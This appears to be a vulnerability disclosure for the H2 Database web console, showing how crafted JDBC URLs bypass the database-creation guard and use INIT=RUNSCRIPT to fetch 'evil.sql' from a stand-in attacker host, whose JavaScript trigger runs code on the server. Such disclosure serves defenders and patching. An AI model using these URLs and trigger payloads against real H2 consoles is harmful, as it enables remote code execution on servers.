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Document Title

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Product Description

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The H2 Console Application

The Console lets you access a SQL database using a browser interface.

Homepage: <http://www.h2database.com/html/quickstart.html>

Affected Components

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File Name: WebServer.java

File Path: /h2database/h2/src/main/org/h2/server/web/WebServer.java

Impacted Function: getConnection

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1) Navigate to the console and attempt to connect to a H2 in memory database that does not exist using the following JDBC URL:

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jdbc:h2:mem:1337;

```

2) Note that you get the following security exception preventing you from creating a new in memory database:

```

Database "mem:1337" not found, either pre-create it or allow remote database creation (not recommended in secure environments) [90149-209]  
90149/90149 (Help)

```

3) Now try again with the following JDBC URL:

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```
jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;'\
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```

- 4) Note that you were able to successfully create a new in memory database
- 5) Create a SQL file that contains a trigger that executes java/javascript/ruby code when executed and host it on a domain you control (ex: <http://attacker>)
- 6) Use the following JDBC URL to execute the SQL file hosted on your domain on connect:

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jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://attacker/evil.sql';'\
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```

Example evil.sql file:

```
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CREATE TABLE test (
 id INT NOT NULL
);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '///javascript
var fos = Java.type("java.io.FileOutputStream");
var b = new fos ("/tmp/pwnedlolol");';

INSERT INTO TEST VALUES (1);
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```

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